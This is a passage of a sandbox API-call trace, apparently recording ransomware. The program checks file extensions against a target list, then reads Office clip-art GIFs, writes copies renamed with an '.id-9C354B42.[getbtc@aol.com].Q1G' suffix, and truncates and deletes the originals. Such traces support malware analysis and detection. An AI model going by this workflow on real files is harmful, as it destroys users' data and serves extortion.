OLEDB\\10\\Cartridges\\msjet.xsl") returned 77 [0054.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned 77 [0054.729] lstrlenW (lpString=".doc") returned 4 [0054.729] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0054.729] lstrlenW (lpString=".docx") returned 5 [0054.729] lstrcmpiW (lpString1=".docx", lpString2="t.xsl") returned -1 [0054.729] lstrlenW (lpString=".pdf") returned 4 [0054.729] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0054.729] lstrlenW (lpString=".xls") returned 4 [0054.729] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0054.729] lstrlenW (lpString=".xlsx") returned 5 [0054.729] lstrcmpiW (lpString1=".xlsx", lpString2="t.xsl") returned -1 [0054.729] lstrlenW (lpString=".ppt") returned 4 [0054.729] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0054.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned 77 [0054.729] lstrlenW (lpString=".zip") returned 4 [0054.729] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0054.729] lstrlenW (lpString=".rar") returned 4 [0054.729] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0054.729] lstrlenW (lpString=".bz2") returned 4 [0054.729] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0054.729] lstrlenW (lpString=".7z") returned 3 [0054.729] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0054.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned 77 [0054.730] lstrlenW (lpString=".dbf") returned 4 [0054.730] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0054.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned 77 [0054.730] lstrlenW (lpString=".1cd") returned 4 [0054.730] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0054.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned 77 [0054.730] lstrlenW (lpString=".jpg") returned 4 [0054.730] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0054.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned 77 [0054.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned 77 [0054.730] lstrlenW (lpString=".doc") returned 4 [0054.730] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0054.730] lstrlenW (lpString=".docx") returned 5 [0054.730] lstrcmpiW (lpString1=".docx", lpString2="t.xsl") returned -1 [0054.730] lstrlenW (lpString=".pdf") returned 4 [0054.730] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0054.730] lstrlenW (lpString=".xls") returned 4 [0054.730] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0054.730] lstrlenW (lpString=".xlsx") returned 5 [0054.730] lstrcmpiW (lpString1=".xlsx", lpString2="t.xsl") returned -1 [0054.730] lstrlenW (lpString=".ppt") returned 4 [0054.730] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0054.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned 77 [0054.730] lstrlenW (lpString=".zip") returned 4 [0054.730] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0054.730] lstrlenW (lpString=".rar") returned 4 [0054.730] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0054.730] lstrlenW (lpString=".bz2") returned 4 [0054.730] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0054.730] lstrlenW (lpString=".7z") returned 3 [0054.730] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0054.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned 77 [0054.730] lstrlenW (lpString=".dbf") returned 4 [0054.730] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0054.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned 77 [0054.731] lstrlenW (lpString=".1cd") returned 4 [0054.731] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0054.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned 77 [0054.731] lstrlenW (lpString=".jpg") returned 4 [0054.731] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0054.731] lstrcmpiW (lpString1=".GIF", lpString2=".Q1G") returned -1 [0054.731] lstrlenW (lpString="AG00038_.GIF") returned 12 [0054.731] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00038_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x238 [0054.732] GetFileSizeEx (in: hFile=0x238, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=3251) returned 1 [0054.732] CloseHandle (hObject=0x238) returned 1 [0054.732] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00038_.gif")) returned 0x20 [0054.732] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00038_.gif.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0054.732] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00038_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x238 [0054.732] SetFilePointerEx (in: hFile=0x238, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.732] SetFilePointerEx (in: hFile=0x238, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.732] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00038_.gif.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240 [0054.732] GetLastError () returned 0x0 [0054.732] ReadFile (in: hFile=0x238, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0xcb3, lpOverlapped=0x0) returned 1 [0054.734] WriteFile (in: hFile=0x240, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0xcc0, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xcc0, lpOverlapped=0x0) returned 1 [0054.735] ReadFile (in: hFile=0x238, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0054.735] WriteFile (in: hFile=0x240, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0054.735] SetEndOfFile (hFile=0x240) returned 1 [0054.735] CloseHandle (hObject=0x240) returned 1 [0054.735] SetFilePointerEx (in: hFile=0x238, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.735] SetEndOfFile (hFile=0x238) returned 1 [0054.736] CloseHandle (hObject=0x238) returned 1 [0054.736] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0054.736] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00038_.gif")) returned 1 [0054.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 63 [0054.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 63 [0054.736] lstrlenW (lpString=".doc") returned 4 [0054.736] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0054.736] lstrlenW (lpString=".docx") returned 5 [0054.736] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0054.736] lstrlenW (lpString=".pdf") returned 4 [0054.736] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0054.736] lstrlenW (lpString=".xls") returned 4 [0054.736] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0054.736] lstrlenW (lpString=".xlsx") returned 5 [0054.736] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0054.737] lstrlenW (lpString=".ppt") returned 4 [0054.737] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0054.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 63 [0054.737] lstrlenW (lpString=".zip") returned 4 [0054.737] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0054.737] lstrlenW (lpString=".rar") returned 4 [0054.737] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0054.737] lstrlenW (lpString=".bz2") returned 4 [0054.737] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0054.737] lstrlenW (lpString=".7z") returned 3 [0054.737] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0054.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 63 [0054.737] lstrlenW (lpString=".dbf") returned 4 [0054.737] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0054.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 63 [0054.737] lstrlenW (lpString=".1cd") returned 4 [0054.737] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0054.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 63 [0054.737] lstrlenW (lpString=".jpg") returned 4 [0054.737] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0054.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 63 [0054.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 63 [0054.737] lstrlenW (lpString=".doc") returned 4 [0054.737] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0054.737] lstrlenW (lpString=".docx") returned 5 [0054.737] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0054.737] lstrlenW (lpString=".pdf") returned 4 [0054.737] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0054.737] lstrlenW (lpString=".xls") returned 4 [0054.737] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0054.737] lstrlenW (lpString=".xlsx") returned 5 [0054.737] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0054.737] lstrlenW (lpString=".ppt") returned 4 [0054.737] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0054.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 63 [0054.737] lstrlenW (lpString=".zip") returned 4 [0054.738] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0054.738] lstrlenW (lpString=".rar") returned 4 [0054.738] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0054.738] lstrlenW (lpString=".bz2") returned 4 [0054.738] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0054.738] lstrlenW (lpString=".7z") returned 3 [0054.738] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0054.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 63 [0054.738] lstrlenW (lpString=".dbf") returned 4 [0054.738] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0054.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 63 [0054.738] lstrlenW (lpString=".1cd") returned 4 [0054.738] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0054.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 63 [0054.738] lstrlenW (lpString=".jpg") returned 4 [0054.738] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0054.738] lstrcmpiW (lpString1=".GIF", lpString2=".Q1G") returned -1 [0054.738] lstrlenW (lpString="AG00040_.GIF") returned 12 [0054.738] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00040_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x238 [0054.738] GetFileSizeEx (in: hFile=0x238, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=8097) returned 1 [0054.738] CloseHandle (hObject=0x238) returned 1 [0054.738] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00040_.gif")) returned 0x20 [0054.738] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00040_.gif.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0054.739] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00040_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x238 [0054.739] SetFilePointerEx (in: hFile=0x238, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.739] SetFilePointerEx (in: hFile=0x238, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.739] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00040_.gif.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240 [0054.739] GetLastError () returned 0x0 [0054.739] ReadFile (in: hFile=0x238, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0x1fa1, lpOverlapped=0x0) returned 1 [0054.740] WriteFile (in: hFile=0x240, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x1fb0, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0x1fb0, lpOverlapped=0x0) returned 1 [0054.741] ReadFile (in: hFile=0x238, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0054.741] WriteFile (in: hFile=0x240, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0054.742] SetEndOfFile (hFile=0x240) returned 1 [0054.742] CloseHandle (hObject=0x240) returned 1 [0054.742] SetFilePointerEx (in: hFile=0x238, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.742] SetEndOfFile (hFile=0x238) returned 1 [0054.743] CloseHandle (hObject=0x238) returned 1 [0054.743] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0054.743] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00040_.gif")) returned 1 [0054.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 63 [0054.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 63 [0054.743] lstrlenW (lpString=".doc") returned 4 [0054.743] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0054.743] lstrlenW (lpString=".docx") returned 5 [0054.743] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0054.743] lstrlenW (lpString=".pdf") returned 4 [0054.743] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0054.743] lstrlenW (lpString=".xls") returned 4 [0054.743] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0054.743] lstrlenW (lpString=".xlsx") returned 5 [0054.743] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0054.743] lstrlenW (lpString=".ppt") returned 4 [0054.743] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0054.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 63 [0054.743] lstrlenW (lpString=".zip") returned 4 [0054.743] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0054.744] lstrlenW (lpString=".rar") returned 4 [0054.744] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0054.744] lstrlenW (lpString=".bz2") returned 4 [0054.744] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0054.744] lstrlenW (lpString=".7z") returned 3 [0054.744] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0054.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 63 [0054.744] lstrlenW (lpString=".dbf") returned 4 [0054.744] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0054.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 63 [0054.744] lstrlenW (lpString=".1cd") returned 4 [0054.744] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0054.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 63 [0054.744] lstrlenW (lpString=".jpg") returned 4 [0054.744] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0054.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 63 [0054.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 63 [0054.744] lstrlenW (lpString=".doc") returned 4 [0054.744] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0054.744] lstrlenW (lpString=".docx") returned 5 [0054.744] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0054.744] lstrlenW (lpString=".pdf") returned 4 [0054.744] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0054.744] lstrlenW (lpString=".xls") returned 4 [0054.744] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0054.744] lstrlenW (lpString=".xlsx") returned 5 [0054.744] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0054.744] lstrlenW (lpString=".ppt") returned 4 [0054.744] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0054.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 63 [0054.744] lstrlenW (lpString=".zip") returned 4 [0054.744] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0054.744] lstrlenW (lpString=".rar") returned 4 [0054.744] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0054.744] lstrlenW (lpString=".bz2") returned 4 [0054.744] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0054.745] lstrlenW (lpString=".7z") returned 3 [0054.745] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0054.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 63 [0054.745] lstrlenW (lpString=".dbf") returned 4 [0054.745] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0054.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 63 [0054.745] lstrlenW (lpString=".1cd") returned 4 [0054.745] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0054.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 63 [0054.745] lstrlenW (lpString=".jpg") returned 4 [0054.745] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0054.745] lstrcmpiW (lpString1=".GIF", lpString2=".Q1G") returned -1 [0054.745] lstrlenW (lpString="AG00052_.GIF") returned 12 [0054.745] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00052_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x238 [0054.745] GetFileSizeEx (in: hFile=0x238, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=7686) returned 1 [0054.745] CloseHandle (hObject=0x238) returned 1 [0054.745] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00052_.gif")) returned 0x20 [0054.745] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00052_.gif.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0054.745] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00052_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x238 [0054.746] SetFilePointerEx (in: hFile=0x238, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.746] SetFilePointerEx (in: hFile=0x238, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.746] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00052_.gif.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240 [0054.746] GetLastError () returned 0x0 [0054.746] ReadFile (in: hFile=0x238, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0x1e06, lpOverlapped=0x0) returned 1 [0054.747] WriteFile (in: hFile=0x240, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x1e10, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0x1e10, lpOverlapped=0x0) returned 1 [0054.748] ReadFile (in: hFile=0x238, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0054.748] WriteFile (in: hFile=0x240, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0054.748] SetEndOfFile (hFile=0x240) returned 1 [0054.748] CloseHandle (hObject=0x240) returned 1 [0054.749] SetFilePointerEx (in: hFile=0x238, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.749] SetEndOfFile (hFile=0x238) returned 1 [0054.752] CloseHandle (hObject=0x238) returned 1 [0054.752] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0054.752] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00052_.gif")) returned 1 [0054.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 63 [0054.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 63 [0054.752] lstrlenW (lpString=".doc") returned 4 [0054.752] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0054.752] lstrlenW (lpString=".docx") returned 5 [0054.752] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0054.752] lstrlenW (lpString=".pdf") returned 4 [0054.752] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0054.752] lstrlenW (lpString=".xls") returned 4 [0054.752] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0054.753] lstrlenW 